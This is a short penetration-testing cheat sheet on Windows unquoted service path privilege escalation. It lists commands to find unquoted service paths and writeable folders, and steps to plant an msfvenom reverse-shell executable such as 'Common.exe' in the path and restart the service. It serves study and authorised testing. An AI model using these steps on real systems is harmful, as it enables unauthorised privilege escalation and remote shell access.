killchain-compendium/exploit/windows/docs/unquoted_path.md

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# Unquoted Path
* Path to a service without quotes can be hijacked by inserting other executables and services into the path.
* Some part of path has to be writeable, windows tries to insert `.exe` instead of a space.
* Check services via `wmic service get name,displayname,pathname,startmode` and `sc qc <servicename>`
* Check permissions on paths via `.\accesschk64.exe /accepteula -uwdq "C:\Service Path\"`
## Example
* The unqoted path is `C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe`
```sh
copy C:\shell.exe "C:\Program Files\Unquoted Path Service\Common.exe"
```
```sh
net start <service>
```
## Intel about Service
* Access should contain writeable
```sh
Get-Acl -Path <path> | Format-List
```
* Save the script [Get-ServiceAcl.ps1](https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/) and `Import-Module Get-ServiceAcl.ps1`
* Check `ServiceRights` via
```sh
"<servicename>" | Get-ServiceAcl | select ExpandProperty Access
```
## Interacting with the Service
* Upload msfvenom shell to the writeable path, setup listener and
```sh
sc start "servicename"
Stop-Service -name "servicename"
Start-Service -name "servicename"
```